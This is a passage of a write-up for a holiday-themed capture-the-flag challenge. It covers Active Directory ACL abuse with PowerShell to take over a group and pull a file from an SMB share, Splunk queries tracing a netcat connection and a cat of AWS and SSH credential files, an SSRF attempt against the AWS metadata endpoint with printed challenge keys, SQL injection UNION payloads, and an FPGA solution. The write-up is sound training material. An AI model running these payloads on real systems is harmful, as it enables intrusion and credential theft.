PS /home/dytjcpwleg/share> Enter-PSSession -ComputerName 10.128.1.53 -Authentication Negotiate -Credential $cred
[10.128.1.53]: PS C:\Users\remote_elf\Documents>
Get AD Groups
Lets see what AD groups are out there.
[10.128.1.53]: PS C:\Users\remote_elf\Documents> get-adgroup | ft
cmdlet Get-ADGroup at command pipeline position 1
Supply values for the following parameters:
(Type !? for Help.)
Filter: *
DistinguishedName GroupCategory GroupScope Name ObjectClass ObjectGUID SamAccountName
----------------- ------------- ---------- ---- ----------- ---------- --------------
CN=Administrators,CN=Builtin,DC=elfu,DC=local Security DomainLocal Administrators group 61a2812b-6bb3-46e1-9f3d-b160648771a7 Administrators
CN=Research Department,CN=Users,DC=elfu,DC=local Security Global Research Department group 8dd5ece3-bdc8-4d02-9356-df01fb0e5f3d ResearchDepartment
CN=File Shares,CN=Computers,DC=elfu,DC=local Security Global File Shares group 46595df3-e36a-4c0e-b00f-77e44564c353 File Shares
Found my target! CN=Research Department,CN=Users,DC=elfu,DC=local
. I am sure this has access to that research_dep share we saw earlier.
Get ACL on This group
Running the script provided as a hint to see what access we have on this group.
$ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount]) | ? {$_.ActiveDirectoryRights -match 'WriteDACL'}
ActiveDirectoryRights : WriteDacl
InheritanceType : None
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : ELFU\remote_elf
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
ActiveDirectoryRights : CreateChild, Self, WriteProperty, ExtendedRight, Delete, GenericRead, WriteDacl, WriteOwner
InheritanceType : All
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : BUILTIN\Administrators
IsInherited : True
InheritanceFlags : ContainerInherit
PropagationFlags : None
Grant GenericALL
We can writeDacl
so lets add GenericALL
for further modifications.
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$username = "dytjcpwleg"
$nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
$propGUID = [guid]'00000000-0000-0000-0000-000000000000'
$IdentityReference = (New-Object System.Security.Principal.NTAccount("elfu.local\$username")).Translate([System.Security.Principal.SecurityIdentifier])
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
$secOptions = $domainDirEntry.get_Options()
$secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
$domainDirEntry.RefreshCache()
$domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()
Add to group
Now that we have full control over the group, lets add our intiial user to the group.
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$username = "dytjcpwleg"
$password = "Avueqfeyb@"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
$user = New-Object System.Security.Principal.NTAccount("elfu.local\$username")
$sid=$user.Translate([System.Security.Principal.SecurityIdentifier])
$b=New-Object byte[] $sid.BinaryLength
$sid.GetBinaryForm($b,0)
$hexSID=[BitConverter]::ToString($b).Replace('-','')
$domainDirEntry.Add("LDAP://<SID=$hexSID>")
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()
Connect to Research Share
Back in the SSH session, I connect up to the SMB share.
PS /home/dytjcpwleg> smbclient \\172.17.0.3\research_dep -U elfu.local\dytjcpwleg
smb: \> dir
. D 0 Thu Dec 2 16:39:42 2021
.. D 0 Fri Dec 17 16:59:50 2021
SantaSecretToAWonderfulHolidaySeason.pdf N 173932 Thu Dec 2 16:38:26 2021
41089256 blocks of size 1024. 34649864 blocks available
smb: \> get SantaSecretToAWonderfulHolidaySeason.pdf
getting file \SantaSecretToAWonderfulHolidaySeason.pdf of size 173932 as SantaSecretToAWonderfulHolidaySeason.pdf (84923.6 KiloBytes/sec) (average 84927.7 KiloBytes/sec)
smb: \> exit
There is the file we are after!
Copy File to Local
Now, the tricky part, getting a copy on the local machine for review.
I decided to convert to base64, copy the text, and save to a file locally.
base64 -w0 < cat SantaSecretToAWonderfulHolidaySeason.pdf
SantaSecretToAWonderfulHolidaySeason.pdf
Answer
Answer
Kindness
9) Splunk!
Difficulty:
Question
Help Angel Candysalt solve the Splunk challenge in Santa's great hall. Fitzy Shortstack is in Santa's lobby, and he knows a few things about Splunk. What does Santa call you when when you complete the analysis?
Hints
- Name (Fitzy Shortstack)
- "Sysmon network events don't reveal the process parent ID for example. Fortunately, we can pivot with a query to investigate process creation events once you get a process ID."
- Name (Fitzy Shortstack)
- "Between GitHub audit log and webhook event recording, you can monitor all activity in a repository, including common
git
commands such asgit add
,git status
, andgit commit
." - Name (Fitzy Shortstack)
- "Did you know there are multiple versions of the Netcat command that can be used maliciously?
nc.openbsd
, for example."
Solution
Using the samples from the elves, here are the queries used to work through the Splunk interface.
1
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational User=eddie| top limit=20 CommandLine
git status
2
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational User=eddie CommandLine=git*partnerapi* | fields CommandLine
git@github.com:elfnp3/partnerapi.git
3
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 CommandLine="docker compose*" User=eddie CurrentDirectory="/home/eddie/partnerapi" | fields CommandLine,CurrentDirectory
docker compose up
4
index=main sourcetype=github_json "alert.rule.name"="*"| top limit=20 "repository.svn_url"
https://github.com/elfnp3/dvws-node
forked from
https://github.com/snoopysecurity/dvws-node
5
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational CommandLine="*npm install*" CurrentDirectory="/home/eddie/partnerapi"
node /usr/bin/npm install holiday-utils-js
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=3 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) NOT process_name="/usr/bin/git"
/usr/bin/nc.openbsd
6
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 user=eddie parent_process_id=6788 ProcessID=686
cat /home/eddie/.aws/credentials /home/eddie/.ssh/authorized_keys /home/eddie/.ssh/config /home/eddie/.ssh/eddie /home/eddie/.ssh/eddie.pub /home/eddie/.ssh/known_hosts
6
7
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 User=eddie ProcessId=6783
preinstall.sh
Answer
Answer
whiz
10) Now Hiring!
Difficulty:
Question
What is the secret access key for the [Jack Frost Tower job applications server](https://apply.jackfrosttower.com/? Brave the perils of Jack's bathroom to get hints from Noxious O. D'or.
Hints
- Name (Noxious O. D'or)
- "The AWS documentation for IMDS is interesting reading."
Solution
After reading the hints I know this is going to be an attempt to obtain information about the AWS instance via the meta-data endpoints only accessible by the instance. Since the only way we can utilize this endpoint is via the instance host, we need to force it to send the request on our behalf.
On the https://apply.jackfrosttower.com/?p=apply
we can see there is a place to submit a URL.
Further inspection shows we can modify this with a URL parameter. I tried to hit the following endpoint: http://169.254.169.254/latest/meta-data/iam/security-credential
with this request:
https://apply.jackfrosttower.com/?inputName=123&inputEmail=arnydo%2Bfrostapply%40pm.me&inputPhone=123-123-1231&inputField=Throwing+rocks+%28non-person+target%29&resumeFile=start.png&inputWorkSample=http://169.254.169.254/latest/meta-data/iam/security-credential&additionalInformation=&submit=
Tried forever on this! Finally determined that there were some server issues going on and I was not the only one. Oh well, lets try later.
Didnt work...lets Broot Phorce!!!!!
I noticed some JPG files started returning some odd data. So...
Generated some possible file names...
docker run -ti --rm cewl https://apply.jackfrosttower.com
the
Tower
Frost
...
Then, ran these through Burp Suite Intruder.
Found it! Not at all how intended but I found it.
{
"Code": "Success",
"LastUpdated": "2021-05-02T18:50:40Z",
"Type": "AWS-HMAC",
"AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
"SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
"Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
"Expiration": "2026-05-02T18:50:40Z"
}
Answer
Answer
CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX
11) Customer Complaint Analysis
Difficulty:
Question
A human has accessed the Jack Frost Tower network with a non-compliant host. [Which three trolls complained about the human](https://downloads.holidayhackchallenge.com/2021/jackfrosttower-network.zip? Enter the troll names in alphabetical order separated by spaces. Talk to Tinsel Upatree in the kitchen for hints.
Hints
- Name (Tinsel Upatree)
- "Different from BPF capture filters, Wireshark's display filters can find text with the
contains
keyword - and evil bits withip.flags.rb
." - Name (Tinsel Upatree)
- "RFC3514 defines the usage of the "Evil Bit" in IPv4 headers."
Solution
Using the simeple Wireshark hints regarding filtering the packets, I came up with the following.
(urlencoded-form.key == "name" && ip.flags.rb==1) && (urlencoded-form.value matches "1024")
This filtered out the suspicious reports.
Answer
Answer
Flud Hagg Yaqh
12) Frost Tower Website Checkup
Difficulty:
Question
Investigate Frost Tower's website for security issues. This source code will be useful in your analysis. In Jack Frost's TODO list, what job position does Jack plan to offer Santa? Ribb Bonbowford, in Santa's dining room, may have some pointers for you.
Hints
- Name (Ribb Bonbowford)
- "When you have the source code, API documentation becomes tremendously valuable."
Solution
We are conveniently provided with the main server sourcecode. This was key to identifying the loophole we need to exploit. All of the endpoints require authentication to modify data or craft queries, except for one.
Entrypoint
The "postcontact" endpoint actually creates a session for us without authenticating.
app.post("postcontact");
sess.uniqueID = email;
Injection found
After testing some basic SQL injection techniques, the following was identified as vulnerable.
https://staging.jackfrosttower.com/detail/10,101,4,5,6,7,8%20LIMIT%202--
Found max order by
Next I needed to see how many columns there are so I can move to a UNION query to pull data from other tables.
https://staging.jackfrosttower.com/detail/10,101,4,5,6,7,8%20ORDER%20BY%207--
Find other tables
Now that we can inject data in to the page, I crafted a query to pull column names from all tables.
https://staging.jackfrosttower.com/detail/0,0 UNION SELECT * FROM (SELECT 1 FROM todo)a JOIN (SELECT column_name from information_schema.columns)b JOIN (SELECT 3 FROM todo)c JOIN (SELECT 4 FROM todo)d JOIN (SELECT 5 FROM todo)e JOIN (SELECT 6 FROM todo)f JOIN (SELECT NULL)g --
The one we want is todo.
Get the todos
With the table identified, now I can pull the data.
https://staging.jackfrosttower.com/detail/0,0 UNION SELECT * FROM (SELECT 1 FROM todo)a JOIN (SELECT note from todo)b JOIN (SELECT 3 FROM todo)c JOIN (SELECT 4 FROM todo)d JOIN (SELECT 5 FROM todo)e JOIN (SELECT 6 FROM todo)f JOIN (SELECT NULL)g --
Answer
Answer
clerk
13) FPGA Programming
Difficulty:
Question
Write your first FPGA program to make a doll sing. You might get some suggestions from Grody Goiterson, near Jack's elevator.
Hints
- Name (Grody Goiterson)
- "Prof. Qwerty Petabyte is giving a lesson about Field Programmable Gate Arrays (FPGAs)."
- Name (Grody Goiterson)
- "There are FPGA enthusiast sites."
Solution
Following along very closely to the video demonstration and starting out with the sample code at https://numato.com/kb/generating-square-wave-using-fpga/ I managed to hack together the following code.
I wish I could explain exactly what is going on but I still can't wrap my head around it.
The static frequencies weren't that difficult to generate but the random ones were a different story. It took much work to arrange the code in a way to address the decimal numbers. The key was using the snippet shared in the welcome note by Prof. Q:
Good luck and always remember:
If $rtoi(real_no * 10) - ($rtoi(real_no) \* 10) > 4, add 1
The final code is:
// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA.
// The CQC-11 operates with a 125MHz clock.
// Your design for a tone generator must support the following
// inputs/outputs:
// (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL
// REQUIRES THE USE OF THESE NAMES!)
// input clk - this will be connected to the 125MHz system clock
// input rst - this will be connected to the system board's reset bus
// input freq - a 32 bit integer indicating the required frequency
// (0 - 9999.99Hz) formatted as follows:
// 32'hf1206 or 32'd987654 = 9876.54Hz
// output wave_out - a square wave output of the desired frequency
// you can create whatever other variables you need, but remember
// to initialize them to something!
`timescale 1ns/1ns
module tone_generator (
input clk,
input rst,
input [31:0] freq,
output wave_out
);
// Counter for toggling of clock
real counter = 0;
real n_freq = 0;
real r_freq = 0;
reg sq_wave_reg = 0;
assign wave_out = sq_wave_reg;
always @(posedge clk or posedge rst) begin
r_freq <= freq;
n_freq <= r_freq/10;
if (rst) begin
counter <= 0;
sq_wave_reg <= 0;
end
else begin
counter <= $rtoi(((125000000/(n_freq/5))) - 1);
if ($rtoi(r_freq * 10) - ($rtoi(r_freq) * 10) > 4) begin
counter <= counter + 1;
end
else
// counter <= ((125000000/(n_freq/5))) - 1;
if (counter == 0) begin
sq_wave_reg <= ~sq_wave_reg;
end
// Else count down
else
counter <= counter - 1;
end
end
endmodule
Answer
Answer
// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA.
// The CQC-11 operates with a 125MHz clock.
// Your design for a tone generator must support the following
// inputs/outputs:
// (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL
// REQUIRES THE USE OF THESE NAMES!)
// input clk - this will be connected to the 125MHz system clock
// input rst - this will be connected to the system board's reset bus
// input freq - a 32 bit integer indicating the required frequency
// (0 - 9999.99Hz) formatted as follows:
// 32'hf1206 or 32'd987654 = 9876.54Hz
// output wave_out - a square wave output of the desired frequency
// you can create whatever other variables you need, but remember
// to initialize them to something!
`timescale 1ns/1ns
module tone_generator (
input clk,
input rst,
input [31:0] freq,
output wave_out
);
// Counter for toggling of clock
real counter = 0;
real n_freq = 0;
real r_freq = 0;
reg sq_wave_reg = 0;
assign wave_out = sq_wave_reg;
always @(posedge clk or posedge rst) begin
r_freq <= freq;
n_freq <= r_freq/10;
if (rst) begin
counter <= 0;
sq_wave_reg <= 0;
end
else begin
counter <= $rtoi(((125000000/(n_freq/5))) - 1);
if ($rtoi(r_freq * 10) - ($rtoi(r_freq) * 10) > 4) begin
counter <= counter + 1;
end
else
// counter <= ((125000000/(n_freq/5))) - 1;
if (counter == 0) begin
sq_wave_reg <= ~sq_wave_reg;
end
// Else count down
else
counter <= counter - 1;
end
end
endmodule